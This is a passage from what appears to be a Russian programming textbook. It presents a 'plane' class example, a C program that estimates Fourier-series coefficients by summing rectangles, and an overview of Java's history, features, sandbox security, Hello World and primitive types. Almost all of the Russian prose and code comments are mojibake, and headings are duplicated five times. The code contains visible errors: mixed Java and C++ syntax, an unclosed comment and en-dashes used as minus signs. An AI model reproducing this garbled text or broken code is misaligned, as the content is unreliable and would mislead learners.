Пример 1.9. Пример 1.9. Пример 1.9. Пример 1.9. Пример 1.9. Класс plane
 1 public class plane{
 2 int Weight;
 3 int Speed;
 4 int Maneuverability;
 5 Location Position; /* òèï Location äîëæåí áûòü ãäå-òî îïðåäåëåí

 6 è ïðåäñòàâëÿòü ïðîñòðàíñòâåííûå êîîðäèíàòû (x,y,z) */

 7 plane( int W, int S, int M, Location P ){
 8 Weight = W;
 9 Speed = S;
10 Maneuverability = M;
11 Position = P;
12 }
13
14 void SetWeight( plane current, int W ){
15 ñurrent.Weight = W;
16 }
17
18 /* Ìåòîäû SetSpeed, SetManeuverability, SetPosition,
    MovePosition òîæå äîëæíû áûòü îïðåäåëåíû */

19 }

Ýòîò êîä ñëóæèò äëÿ èíèöèàëèçàöèè îáúåêòà. Ïðè âûçîâå ìåòîäà plane çà-
äàþòñÿ âñå õàðàêòåðèñòèêè, êîòîðûìè äîëæåí îáëàäàòü ñàìîëåò: âåñ, ñêî-
ðîñòü, ìàíåâðåííîñòü è ïîëîæåíèå. Íà ïðèìåðå ìåòîäà SetWeight ïðîäåìîíñò-
ðèðîâàíî, êàê ìîæíî âêëþ÷èòü â êëàññ îïåðàöèþ íàä îïèñûâàåìûì èì
îáúåêòîì.

Ñèìóëÿòîð ìîæåò ñîçäàòü íåñêîëüêî ýêçåìïëÿðîâ êëàññà plane è âûïîëíèòü
«ïðîáíûå ïîëåòû» äëÿ îöåíêè âëèÿíèÿ ðàçëè÷íûõ õàðàêòåðèñòèê. Íàïðèìåð,
ñàìîëåò plane1 ìîæåò âåñèòü 5000 ôóíòîâ, ëåòàòü ñî ñêîðîñòüþ 500 ìèëü/÷àñ è
îáëàäàòü ìàíåâðåííîñòüþ 10, òîãäà êàê äëÿ ñàìîëåòà plane2 ìîæíî çàäàòü

С/С++
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òàêèå ïàðàìåòðû: âåñ 6000 ôóíòîâ, ñêîðîñòü 600 ìèëü/÷àñ, ìàíåâðåííîñòü 8.
Â ÿçûêå C++ ýêçåìïëÿðû êëàññà ñîçäàþòñÿ ïî÷òè òàê æå, êàê îáû÷íûå ïå-
ðåìåííûå. Ñêàæåì, îáúåêò plane1 ìîæíî ñîçäàòü ñ ïîìîùüþ òàêèõ ïðåäëî-
æåíèé:

Location p;
p = ( 3, 4, 5 );
plane plane1 = plane(5.000, 500, 10, p );

Íàñëåäîâàíèå ïîçâîëÿåò ïðîãðàììèñòàì ñîçäàâàòü èåðàðõèè êëàññîâ.
Êëàññû îðãàíèçóþòñÿ â äðåâîâèäíûå ñòðóêòóðû, â êîòîðûõ ó êàæäîãî êëàññà
åñòü «ðîäèòåëè» è, âîçìîæíî, «ïîòîìêè». Êëàññ «íàñëåäóåò», òî åñòü ìîæåò
ïîëüçîâàòüñÿ ôóíêöèÿìè ëþáîãî èç ñâîèõ ðîäèòåëåé, íàçûâàåìûõ òàêæå åãî
ñóïåðêëàññàìè. Íàïðèìåð, åñëè êëàññ plane ÿâëÿåòñÿ ïîäêëàññîì êëàññà vehicle,
òî îáúåêò êëàññà plane èìååò äîñòóï êî âñåì ôóíêöèÿì, êîòîðûå ìîæíî âû-
ïîëíÿòü íàä îáúåêòîì êëàññà vehicle.

Ó êëàññîâ åñòü ìíîãî ïðåèìóùåñòâ, íåäîñòàþùèõ äðóãèì èìåþùèìñÿ
â ýòîì ÿçûêå ïðîãðàììèðîâàíèÿ òèïàì. Îíè ïðåäîñòàâëÿþò ýôôåêòèâíîå
ñðåäñòâî äëÿ îðãàíèçàöèè ïðîãðàììû â âèäå íàáîðà ìîäóëåé, êîòîðûì ìîæ-
íî íàñëåäîâàòü. Ìîæíî òàêæå ñîçäàâàòü àáñòðàêòíûå êëàññû, âûñòóïàþùèå
â ðîëè èíòåðôåéñîâ. Èíòåðôåéñ îïðåäåëÿåò, íî íå ðåàëèçóåò íåêîòîðóþ
ôóíêöèîíàëüíîñòü, îñòàâëÿÿ ýòó çàäà÷ó ñâîèì ïîäêëàññàì. Äàííûå êëàññà
ìîæíî îáúÿâëÿòü çàêðûòûìè, ãàðàíòèðóÿ òåì ñàìûì, ÷òî äîñòóï ê âíóòðåí-
íåìó ñîñòîÿíèþ êëàññà âîçìîæåí ëèøü ñ ïîìîùüþ ñïåöèàëüíî ïðåäíàçíà-
÷åííûõ äëÿ ýòîãî ôóíêöèé.

Пример: ряды Фурье

Ïðè ïåðåäà÷å äàííûõ ïî êàíàëàì ñ îãðàíè÷åííîé ïðîïóñêíîé ñïîñîáíîñòüþ
íåâîçìîæíî â òî÷íîñòè ïåðåäàòü è ïðèíÿòü äâîè÷íûå äàííûå. Èñõîäíûå
äâîè÷íûå äàííûå êîäèðóþòñÿ ñ ïîìîùüþ ðàçëè÷íûõ óðîâíåé íàïðÿæåíèÿ è
ðåêîíñòðóèðóþòñÿ íà ïðèåìíîì êîíöå. Åñëè óðîâåíü íàïðÿæåíèÿ ñïîñîáåí
ïðèíèìàòü íåñêîëüêî ðàçëè÷íûõ çíà÷åíèé, òî ìîæíî ïåðåäàòü áîëüøå èí-
ôîðìàöèè, ÷åì ïðîñòî «0» è «1». Äëÿ àïïðîêñèìàöèè ôóíêöèé ïðèìåíÿåòñÿ
ðàçëîæåíèå â ðÿä Ôóðüå. Æàí-Áàòèñò Ôóðüå â íà÷àëå äåâÿòíàäöàòîãî âåêà
äîêàçàë, ÷òî ïî÷òè ëþáóþ ïåðèîäè÷åñêóþ ôóíêöèþ ìîæíî ïðåäñòàâèòü
â âèäå áåñêîíå÷íîé ñóììû ñèíóñîâ è êîñèíóñîâ, òî÷íåå:

Ñ ïîìîùüþ èíòåãðèðîâàíèÿ (îñòàâëÿåì ýòî ÷èòàòåëþ â êà÷åñòâå óïðàæíå-
íèÿ) ìîæíî ïîëó÷èòü ôîðìóëû äëÿ âû÷èñëåíèÿ êîýôôèöèåíòîâ a, b è c:
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Ñëåäóþùàÿ ïðîãðàììà ñíà÷àëà âû÷èñëÿåò êîýôôèöèåíòû, à çàòåì çíà÷åíèå
g(t). Íî âìåñòî òîãî ÷òîáû íåïîñðåäñòâåííî âîñïðîèçâîäèòü ïîêàçàííûå
âûøå óðàâíåíèÿ, ìû ïîéäåì ïî áîëåå êîðîòêîìó ïóòè, ñâÿçàííîìó ñ ïðè-
áëèçèòåëüíûì âû÷èñëåíèåì ïëîùàäè ïîä êðèâîé. Èçó÷èòå òåêñò ïðîãðàììû
è ïîäóìàéòå, êàê òàêîé ïîäõîä ìîæíî ïðèìåíèòü äëÿ ðàçëîæåíèÿ ôóíêöèè
â ðÿä Ôóðüå.

Вопрос

Как оценить площадь под кривой с помощью прямоугольников?

Листинг 1.1. Листинг 1.1. Листинг 1.1. Листинг 1.1. Листинг 1.1. Разложение в ряд Фурье
 1 #include <stdio.h>

 2 #include <math.h>

 3
 4 void main( void );

 5 double geta( double );

 6 double getb( double );

 7 double getsee( void );

 8 double g( double );

 9
10 /*ãëîáàëüíûå ïåðåìåííûå */

11 double width = 0.0001;

12 double rightorleft=0;  /* Èíèöèàëèçèðóåì íóëåì, ÷òîáû íà÷àòü

   ñóììèðîâàíèå ïëîùàäåé ïðÿìîóãîëüíèêîâ ñëåâà *.

13 /* ß ïîìåñòèë ýòî äëÿ òîãî, ÷òîáû ïîçæå ïðîâåðèòü òî÷íîñòü A è B */

14 int numterms=10;      /* Ñêîëüêî êîýôôèöèåíòîâ âû÷èñëèòü è

   íàïå÷àòàòü */

15 double T=1;           /* Çàäàòü ïåðèîä è ÷àñòîòó */

16 double f=1;

17
18 void main( void ){

19 double a [ numterms + 1 ], b[ numterms + 1 ], c, ctoo , n;

20 int i, j;

21 printf( "\n" );

22 c = getsee(  );

23
24 for ( n=1 ; n <= numterms ; n++ ){

25 /* Èãíîðèðóåì íóëåâîé ýëåìåíò ìàññèâà, òàê ÷òî a[1] ïðåäñòàâëÿåò a1 */

С/С++
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26 i = n; /* Íóæíî çàäàòü i, òàê êàê èíäåêñ ìàññèâà íå ìîæåò

   áûòü çíà÷åíèåì òèïà double */

27 a[ i ] = geta( n );

28 }

29
30 for ( n=1 ; n <= numterms ; n++ ){

31 i = n;

32 b[ i ] = getb( n );

33 }

34 rightorleft=width;

35 /* Èñïîëüçóåòñÿ äëÿ âû÷èñëåíèÿ ïëîùàäè ïî ïðàâîé ñòîðîíå */

36
37 ctoo = getsee( );

38
39 for ( i=1 ; i<=numterms ; i++ ){ /* Ïå÷àòàåì òàáëèöó ðåçóëüòàòîâ */

40 printf( "%s%d%s" , "a", i, " is: " );

41 printf( "%lf", a[ i ] );

42 printf( "%s%d%s" , "               b" , i , " is: " );

43 printf( "%lf\n" , b[ i ] );

44 }

45
46 printf( "\n%s%lf\n" , "c is " , c );

47 printf( "%s%lf\n\n" , "ctoo is " , ctoo );

48
49 }

50
51 double geta( double n ){

52 double i, total=0;

53 double end;

54
55 if ( rightorleft==0 ) end = T – width;  /* Íóæíî äëÿ òîãî, ÷òîáû íå

   ïîñ÷èòàòü ëèøíèé ïðÿìîóãîëüíèê */

56 else end = T;

57
58 for ( i=rightorleft ; i <= end ; i+=width )

59 total += width * ( g( i ) * sin( 6.28 * n * f * i ) );

60 total *= 2/T;

61 return total;

62 }

63
64 double getb( double n ){

65 double i, total=0;

66 double end;

67
68 if ( rightorleft==0 ) end = T – width;  /* Íóæíî äëÿ òîãî, ÷òîáû íå

   ïîñ÷èòàòü ëèøíèé ïðÿìîóãîëüíèê */

69 else end = T;

70
71 for ( i=rightorleft ; i <= end ; i+=width )
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72 total += width * ( g( i ) * cos( 6.28 * n * f * i ) );

73 total *= 2/T;

74 return total;

75 }

76
77 double getsee( void ){

78 double i, total=0;

79 double end;

80
81 if ( rightorleft==0 ) end = T – width;  /* Íóæíî äëÿ òîãî, ÷òîáû íå

   ïîñ÷èòàòü ëèøíèé ïðÿìîóãîëüíèê */

82 else end = T;

83
84 for ( i=rightorleft ; i <= end ; i+=width )

85 total += width * g( i );

86 total *= 2/T;

87 return total;

88 }

89
90 double g( double t ){

91 return sqrt( 1 / ( 1 + t ) );

92 }

Íåò íóæäû íåïîñðåäñòâåííî âåñòè âû÷èñëåíèÿ ïî ôîðìóëàì èç êóðñà ìà-
òåìàòè÷åñêîãî àíàëèçà. Â äàííîì ïðèìåðå äëÿ ïðèáëèæåííîãî âû÷èñëåíèÿ
ïëîùàäè ïîä êðèâîé ïðèìåíÿåòñÿ àïïðîêñèìàöèÿ ýòîé îáëàñòè ïðÿìîóãîëü-
íèêàìè. Ïðè ýòîì îöåíêà ïîëó÷èòñÿ áîëüøå èëè ìåíüøå èñòèííîãî çíà÷å-
íèÿ. Åñëè âû÷èñëÿòü ôóíêöèþ g(t), ïîëüçóÿñü ëåâîé ãðàíèöåé ïðÿìîóãîëüíè-
êà, òî îöåíêà îêàæåòñÿ çàâûøåííîé, òàê êàê êàæäûé ïðÿìîóãîëüíèê áóäåò
âûñòóïàòü çà ïðåäåëû îáëàñòè, îãðàíè÷åííîé êðèâîé. Íàïðîòèâ, åñëè ïîëüçî-
âàòüñÿ ïðàâîé ãðàíèöåé, òî ïîëó÷èì çàíèæåííóþ îöåíêó.

Ïîïûòàéòåñü ïðîñëåäèòü, êàê âûïîëíÿåòñÿ ïðîãðàììà. Â ôóíêöèè main
èíèöèàëèçèðóþòñÿ ïåðåìåííûå, âûçûâàþòñÿ ôóíêöèè äëÿ âûïîëíåíèÿ ðàç-
ëè÷íûõ ïîäçàäà÷, âîçíèêàþùèõ ïðè ðàçëîæåíèè â ðÿä Ôóðüå, è ïå÷àòàþòñÿ
ðåçóëüòàòû. Ìû äîáàâèëè êîììåíòàðèè, ÷òîáû ëåã÷å áûëî ïîíÿòü ïðîãðàì-
ìó. Â ñòðîêàõ 1 è 2 èìïîðòèðóþòñÿ áèáëèîòåêè ñòàíäàðòíîãî ââîäà/âûâîäà è
ìàòåìàòè÷åñêèõ ôóíêöèé. Â ñòðîêàõ ñ 3 ïî 7 îáúÿâëÿþòñÿ èñïîëüçóåìûå
â ïðîãðàììå ôóíêöèè. Â ñòðîêàõ 8–14 îáúÿâëåíû ãëîáàëüíûå ïåðåìåííûå.
Îñòàâøàÿñÿ ÷àñòü ïðîãðàììà ïîñâÿùåíà âû÷èñëåíèþ ÷ëåíîâ ðÿäà Ôóðüå. Ïå-
ðåìåííàÿ numterms îïðåäåëÿåò, ñêîëüêî ÷ëåíîâ âû÷èñëÿòü, òî åñòü òî÷íîñòü
àïïðîêñèìàöèè. ×åì áîëüøå ÷èñëî ÷ëåíîâ, òåì áîëüøå èñïîëüçóåòñÿ ïðÿìî-
óãîëüíèêîâ è, ñîîòâåòñòâåííî, áîëåå òî÷íî àïïðîêñèìèðóåòñÿ èñõîäíàÿ êðè-
âàÿ. Â ñòðîêàõ 20–28 ãåíåðèðóþòñÿ ìàññèâû, ñîäåðæàùèå çíà÷åíèÿ êîýôôè-
öèåíòîâ a è b äëÿ êàæäîãî ÷ëåíà ðÿäà. Â ñòðîêàõ 40–72 âû÷èñëÿþòñÿ ïëîùàäè

С/С++
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ïðÿìîóãîëüíèêîâ. Âçãëÿíóâ íà ôîðìóëû äëÿ êîýôôèöèåíòîâ ðÿäà Ôóðüå, ëåã-
êî ïîíÿòü, ÷òî ïðîãðàììà âû÷èñëÿåò èõ îöåíêè äëÿ ïîñëåäóþùåãî ïîëó÷å-
íèÿ çíà÷åíèÿ ôóíêöèè g(t). Â êà÷åñòâå óïðàæíåíèÿ ïîäóìàéòå, êàê ýòè îöåí-
êè ìîæíî ïðèìåíèòü ê ïåðåäà÷å äàííûõ ïî êàíàëàì ñ îãðàíè÷åííîé ïðî-
ïóñêíîé ñïîñîáíîñòüþ.

Язык Java
Java – ýòî ñîâðåìåííûé îáúåêòíî-îðèåíòèðîâàííûé ÿçûê. Åãî ñèíòàêñèñ, ñõî-
æèé ñ ïðèíÿòûì â ÿçûêàõ C è C++, ñî÷åòàåòñÿ ñ íåçàâèñèìîñòüþ îò ïëàòôîðìû
è àâòîìàòè÷åñêîé ñáîðêîé «ìóñîðà». ßçûê áûë ðàçðàáîòàí â 1990-õ ãîäàõ, íî è
â íàñòîÿùåå âðåìÿ åñòü öåëûé ðÿä ïðîäóêòîâ îñíîâàííûõ íà íåì: Java-àïëå-
òû, òåõíîëîãèÿ Enterprise JavaBeans, ñåðâëåòû, Jini è ìíîãèå äðóãèå. Âñå îñ-
íîâíûå Web-áðàóçåðû ïîääåðæèâàþò ÿçûê Java, äåëàÿ åãî ïðåèìóùåñòâà
äîñòóïíûìè äëÿ ìèëëèîíîâ ïîëüçîâàòåëåé Èíòåðíåò.

ßçûê  Java ñîçäàë â 1991 ãîäó Äæåéìñ Ãîñëèíã (James Gosl ing) èç êîìïàíèè
Sun Microsystems. Ãîñëèíã âõîäèë â êîìàíäó «Green Team», ñîñòîÿùóþ èç
13 ÷åëîâåê, ïåðåä êîòîðûìè áûëà ïîñòàâëåíà çàäà÷à ñïðîãíîçèðîâàòü è ðàçðà-
áîòàòü ñðåäñòâà äëÿ êîìïüþòåðíûõ òåõíîëîãèé ñëåäóþùåãî ïîêîëåíèÿ. Â ðå-
çóëüòàòå áûëî ñîçäàíî óñòðîéñòâî ñ ñåíñîðíûì ýêðàííûì è äèñòàíöèîí-
íûì óïðàâëåíèåì (åãî íàçâàëè *7 èëè StarSeven), çàïðîãðàìèðîâàííîå èñ-
êëþ÷èòåëüíî íà íîâîì ÿçûêå Java.

Õîòÿ óñòðîéñòâî *7 ïîñòèãëà êîììåð÷åñêàÿ íåóäà÷à, êîìïàíèÿ Sun Micro-
systems óâèäåëà ïîòåíöèàëüíóþ ïëàòôîðìó äëÿ ïðèìåíåíèÿ ïîëîæåííîé
â åãî îñíîâó òåõíîëîãèè Java – Èíòåðíåò. Â 1993 ãîäó áûë âûïóùåí Web-áðàó-
çåð Mosaic, ïðåäîñòàâëÿþùèé ïðîñòîé èíòåðôåéñ äëÿ ïðîñìîòðà Web-ñàéòîâ.
Õîòÿ ïî ñåòè Èíòåðíåò ìîæíî áûëî ïåðåäàâàòü ìóëüòèìåäèéíûå ôàéëû,
áðàóçåðû ñîñðåäîòî÷èëèñü íà ïðåäñòàâëåíèè âèçóàëüíîãî êîíòåíòà ñ ïîìî-
ùüþ ñòàòè÷åñêèõ ôàéëîâ íà ÿçûêå ðàçìåòêè ãèïåðòåêñòà (HTML). Â 1994 ãîäó
êîìïàíèÿ Sun Microsystems âûïóñòèëà íîâûé áðàóçåð HotJava, ñïîñîáíûé
îòîáðàæàòü äèíàìè÷åñêèé, àíèìèðîâàííûé êîíòåíò.

×òîáû äîáèòüñÿ êàê ìîæíî áîëåå øèðîêîãî ðàñïðîñòðàíåíèÿ ñâîèõ
òåõíîëîãèé, Sun Microsystems â 1995 ãîäó îòêðûëà èñõîäíûå òåêñòû Java. Êî
âñåìó ïðî÷åìó, ïðèñòàëüíîå âíèìàíèå ê èñõîäíîìó êîäó ñî ñòîðîíû ñî-
îáùåñòâà ðàçðàáîò÷èêîâ ïîìîãëî èñïðàâèòü îñòàâøèåñÿ â íåì îøèáêè. Íà
âûñòàâêå Sun World â 1995 ãîäó ðóêîâîäèòåëè Sun Microsystems è îäèí èç
îñíîâàòåëåé êîìïàíèè Netscape Ìàðê Àíäðååñåí (Marc Andreesen) îáúÿâè-
ëè, ÷òî òåõíîëîãèÿ Java áóäåò âêëþ÷åíà â áðàóçåð Netscape Navigator. Òàê
Java âîøëà â íàø ìèð.



49

Характеристики языка

Java – ýòî ñîâðåìåííûé ïëàòôîðìåííî-íåçàâèñèìûé îáúåêòíî-îðèåíòèðî-
âàííûé ÿçûê ïðîãðàììèðîâàíèÿ. Íîâåéøèå âîçìîæíîñòè ñî÷åòàþòñÿ â íåì
ñ ñèíòàêñèñîì, ïîõîæèì íà C/C++, ïîýòîìó îïûòíûì ïðîãðàììèñòàì íå-
òðóäíî âûó÷èòü ýòîò íîâûé ÿçûê.

Îáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòèÎáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòèÎáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòèÎáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòèÎáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòè
Java – îáúåêòíî-îðèåíòèðîâàííûé ÿçûê ïðîãðàììèðîâàíèÿ, ÷òî îçíà÷àåò
íàëè÷èå ñëåäóþùèõ äîñòîèíñòâ:

� ÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿ. Çà ñ÷åò èñïîëüçîâàíèÿ êëàññîâ îáúåêòíî-îðèåíòèðî-
âàííûé êîä èìååò î÷åíü õîðîøóþ îðãàíèçàöèþ è îáëàäàåò âûñîêîé
ìîäóëüíîñòüþ. Äàííûå è ìåòîäû äëÿ âûïîëíåíèÿ îïåðàöèé íàä íèìè
èíêàïñóëèðîâàíû â ñòðóêòóðó êëàññà;

� ÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèå. Îáúåêòíî-îðèåíòèðîâàííàÿ îðãàíèçàöèÿ è èíêàïñóëÿ-
öèÿ ïîçâîëÿþò áåç òðóäà ðåàëèçîâàòü ïîâòîðíîå èñïîëüçîâàíèå èëè
«íàñëåäîâàíèå» ðàíåå íàïèñàííîãî êîäà. Íàñëåäîâàíèå ýêîíîìèò âðå-
ìÿ, òàê êàê ïðîãðàììèñòó íå íóæíî çàíîâî êîäèðîâàòü óæå èìåþùóþ-
ñÿ ôóíêöèîíàëüíîñòü;

� Ñîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõ. Îáúåêòû, òî åñòü ýêçåìïëÿðû êëàññà ìîãóò ñîäåð-
æàòü äàííûå, êîòîðûå íå ìîãóò áûòü èçìåíåíû èíà÷å êàê ñ ïîìîùüþ
ìåòîäîâ ñàìîãî ýòîãî êëàññà. Ïðîãðàììèñò ìîæåò ñêðûòü äàííûå, íà-
çíà÷èâ èì àòðèáóò «private» (çàêðûòûé);

� Àáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõ. Ïðîãðàììèñò ìîæåò îïðåäåëèòü êëàññ, êî-
òîðûé ìîæíî ïðåäñòàâëÿòü ñåáå êàê îáîáùåíèå ñòðóêòóðû (struct), èìå-
þùåéñÿ â ÿçûêå C. Êëàññ îïèñûâàåò îïðåäåëåííûé ïðîãðàììèñòîì òèï
äàííûõ âìåñòå ñ îïåðàöèÿìè, ïðèìåíèìûìè ê îáúåêòàì ýòîãî òèïà.

Ïëàòôîðìåííàÿ íåçàâèñèìîñòüÏëàòôîðìåííàÿ íåçàâèñèìîñòüÏëàòôîðìåííàÿ íåçàâèñèìîñòüÏëàòôîðìåííàÿ íåçàâèñèìîñòüÏëàòôîðìåííàÿ íåçàâèñèìîñòü
×àñòî ãîâîðÿò, ÷òî Java-ïðîãðàììû íå çàâèñÿò îò ïëàòôîðìû, òàê êàê Java –
èíòåðïðåòèðóåìûé, à íå êîìïèëèðóåìûé ÿçûê. Èíûìè ñëîâàìè, êîìïèëÿòîð
ãåíåðèðóåò «áàéò-êîä», à íå ìàøèííûé êîä, êàê â ñëó÷àå ñ ÿçûêîì C èëè C++.
Ýòîò áàéò-êîä ìîæíî çàòåì èíòåðïðåòèðîâàòü íà ñàìûõ ðàçíûõ ïëàòôîðìàõ.
Ñëåäóåò, îäíàêî, îòìåòèòü, ÷òî ñêîðîñòü âûïîëíåíèÿ èíòåðïðåòèðóåìîãî
êîäà ìíîãîêðàòíî íèæå ñêîðîñòè âûïîëíåíèÿ êîäà, îòòðàíñëèðîâàííîãî
â ìàøèííûå êîìàíäû.

Ìíîãîïîòî÷íîñòüÌíîãîïîòî÷íîñòüÌíîãîïîòî÷íîñòüÌíîãîïîòî÷íîñòüÌíîãîïîòî÷íîñòü
Java ïîääåðæèâàåò ìíîãîïîòî÷íîñòü, òî åñòü ïðîãðàììà ìîæåò îäíîâðåìåí-
íî âûïîëíÿòü íåñêîëüêî çàäàíèé. Òàêóþ ôóíêöèîíàëüíîñòü îáåñïå÷èâàåò
êëàññ Thread, âõîäÿùèé â ñîñòàâ ïàêåòà java.lang.

Язык Java
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ÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòü
Õîòÿ «áåçîïàñíûé ÿçûê ïðîãðàììèðîâàíèÿ» åùå íå ïðèäóìàí, â Java èìåþò-
ñÿ ñðåäñòâà, îòñóòñòâóþùèå â áîëåå ñòàðûõ ÿçûêàõ C è C++. Ñàìîå ãëàâíîå –
ýòî òî, ÷òî â Java ðåàëèçîâàí õèòðîóìíûé ìåõàíèçì óïðàâëåíèÿ ïàìÿòüþ è
êîíòðîëü âûõîäà çà ãðàíèöû ìàññèâîâ. Ïðîâåñòè àòàêó ïóòåì ïåðåïîëíåíèÿ
áóôåðà íà ïðîãðàììó, íàïèñàííóþ íà Java, íåâîçìîæíî, òàê ÷òî óñòðàíåíà
îäíà èç ñàìûõ ðàñïðîñòðàíåííûõ óãðîç. Êðîìå òîãî, Java çàùèùàåò è îò áîëåå
òîíêèõ àòàê, íàïðèìåð, ïóòåì ïðåîáðàçîâàíèÿ öåëûõ ÷èñåë â óêàçàòåëè äëÿ
ïîëó÷åíèÿ íåñàíêöèîíèðîâàííîãî äîñòóïà ê çàêðûòûì ÷àñòÿì ïðîãðàììû
èëè îïåðàöèîííîé ñèñòåìû.

Â Java òàêæå íàøëà ïðèìåíåíèÿ èäåÿ «ïåñî÷íèöû»     , êîòîðàÿ íàëàãàåò îã-
ðàíè÷åíèÿ íà äåéñòâèÿ, êîòîðûå ìîæåò âûïîëíÿòü ðàáîòàþùàÿ âíóòðè íåå
ïðîãðàììà. Ïàìÿòü è äðóãèå ðåñóðñû, íàõîäÿùèåñÿ âíå «ïåñî÷íèöû», çà-
ùèùåíû îò ïîòåíöèàëüíî âðåäîíîñíîãî Java-êîäà. Ìîäåëü ïåñî÷íèöû ðå-
àëèçîâàíà ñ ïîìîùüþ äâóõ îñíîâíûõ ìåòîäîâ: ïðîâåðêè áàéò-êîäîâ è âåðè-
ôèêàöèè âî âðåìÿ âûïîëíåíèÿ. Âåðèôèêàöèÿ áàéò-êîäà ïðîèñõîäèò íà ýòà-
ïå çàãðóçêè êëàññà, â ðåçóëüòàòå ãàðàíòèðóåòñÿ îòñóòñòâèå îïðåäåëåííûõ
îøèáîê. Íàïðèìåð, íà ýòîì óðîâíå ïðîèçâîäèòñÿ êîíòðîëü òèïîâ è ïðåäîò-
âðàùàþòñÿ íåçàêîííûå îïåðàöèè, ñêàæåì, îòïðàâêà ñîîáùåíèÿ ïðèìèòèâ-
íîìó òèïó.

Äîïîëíèòåëüíûå âîçìîæíîñòèÄîïîëíèòåëüíûå âîçìîæíîñòèÄîïîëíèòåëüíûå âîçìîæíîñòèÄîïîëíèòåëüíûå âîçìîæíîñòèÄîïîëíèòåëüíûå âîçìîæíîñòè
Â ÿçûêå Java åñòü ìíîãî ðàçâèòûõ ñðåäñòâ, íå âõîäÿùèõ íè â îäíó èç âûøå-
óïîìÿíóòûõ êàòåãîðèé. Òàê, Java ïîääåðæèâàåò «äèíàìè÷åñêóþ çàãðóçêó»
êëàññîâ. Ôóíêöèîíàëüíîñòü (â âèäå êëàññà) çàãðóæàåòñÿ òîëüêî êîãäà â íåé
âîçíèêàåò ïîòðåáíîñòü, ÷òî ýêîíîìèò ñåòåâûå ðåñóðñû, óìåíüøàåò ðàçìåð
ïðîãðàììû è óâåëè÷èâàåò åå áûñòðîäåéñòâèå. Äèíàìè÷åñêàÿ çàãðóçêà ðåàëè-
çîâàíà è â òàêèõ ÿçûêàõ êàê Lisp (à â êîíöå 1980-õ ãîäîâ îíà áûëà äîáàâëåíà è
â C), íî Java îñîáåííî õîðîøî ïðèñïîñîáëåí äëÿ çàãðóçêè íåîáõîäèìûõ
êëàññîâ èç ñåòè. Çà òàêóþ çàãðóçêó îòâå÷àåò êëàññ ClassLoader.

Êàê è Lisp, ML è ìíîãèå äðóãèå ÿçûêè, Java ïîääåðæèâàåò àâòîìàòè÷åñêóþ
«ñáîðêó ìóñîðà». Ïðîãðàììèñòó íåò íóæäû ÿâíî îñâîáîæäàòü íåèñïîëüçóå-
ìóþ áîëåå ïàìÿòü. Òåì ñàìûì ïðåäîòâðàùàþòñÿ óòå÷êè ïàìÿòè è, íàîáîðîò,
ñëó÷àéíîå îñâîáîæäåíèå åùå èñïîëüçóåìîé ïàìÿòè.

Пример «Здравствуй, мир!»

Ïðîãðàììó «Çäðàâñòâóé, ìèð!» (Hello, world!) ÷àñòî ïðèâîäÿò â ïðèìåð, êàê
ïðîñòåéøóþ èç âîçìîæíûõ ïðîãðàìì íà äàííîì ÿçûêå. Íà÷èíàþùèå ïðî-
ãðàììèñòû íà ýòîì ïðèìåðå îñâàèâàþò áàçîâóþ ñòðóêòóðó ÿçûêà, ó÷àòñÿ
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ïîëüçîâàòüñÿ êîìïèëÿòîðîì è çàïóñêàòü ïðîãðàììó íà âûïîëíåíèå. Íèæå
ïðèâåäåí òåêñò òàêîé ïðîãðàììû íà ÿçûêå Java.

Пример 1.10. Пример 1.10. Пример 1.10. Пример 1.10. Пример 1.10. Здравствуй, мир!
class helloWorld{

public static void main( String [] Args ) {
System.out.println( "Hello, world!" );

}
}

Êëàññ helloWorld ñîäåðæèò åäèíñòâåííûé ìåòîä main, êîòîðûé ïî óìîë÷à-
íèþ ïðèíèìàåò ìàññèâ àðãóìåíòîâ òèïà String. Ýòîò ìåòîä îòêðûòûé (publ ic),
òî åñòü ê íåìó åñòü äîñòóï èçâíå êëàññà helloWorld. Îí íå âîçâðàùàåò çíà÷å-
íèÿ, î ÷åì ãîâîðèò êëþ÷åâîå ñëîâî void. Ìåòîä println ÿâëÿåòñÿ ÷ëåíîì êëàññà
System.out. Îí ïå÷àòàåò ñòðîêó «Hello, world!» íà ñòàíäàðòíûé âûâîä. (Î òèïàõ
äàííûõ è ìåòîäàõ ìû åùå ñêàæåì íèæå â ýòîé ãëàâå.)

Типы данных

Òèïû äàííûõ ñëóæàò â ÿçûêàõ ïðîãðàììèðîâàíèÿ äëÿ îïðåäåëåíèÿ ïåðåìåí-
íûõ äî èõ èíèöèàëèçàöèè. Òèï îïðåäåëÿåò êàê ïåðåìåííàÿ áóäåò ðàçìåùåíà
â ïàìÿòè è êàêèå äàííûå îíà ìîæåò ñîäåðæàòü. Ãîâîðÿò, ÷òî ïåðåìåííàÿ ÿâ-
ëÿåòñÿ ýêçåìïëÿðîì íåêîòîðîãî òèïà äàííûõ.

Â ÿçûêå Java åñòü äâå ðàçíîâèäíîñòè òèïîâ äàííûõ: ïðèìèòèâíûå è ññû-
ëî÷íûå. Ê ïðèìèòèâíûì îòíîñÿòñÿ ñëåäóþùèå òèïû:

� ByteByteByteByteByte. Òèïîì byte ïðåäñòàâëÿåòñÿ öåëîå ÷èñëî, çàíèìàþùåå 1 áàéò ïàìÿòè;
� ShortShortShortShortShort. Òèï short ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë, çàíèìàþùèõ

2 áàéòà ïàìÿòè;
� IntIntIntIntInt. Òèï int ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë, çàíèìàþùèõ 4 áàé-

òà ïàìÿòè;
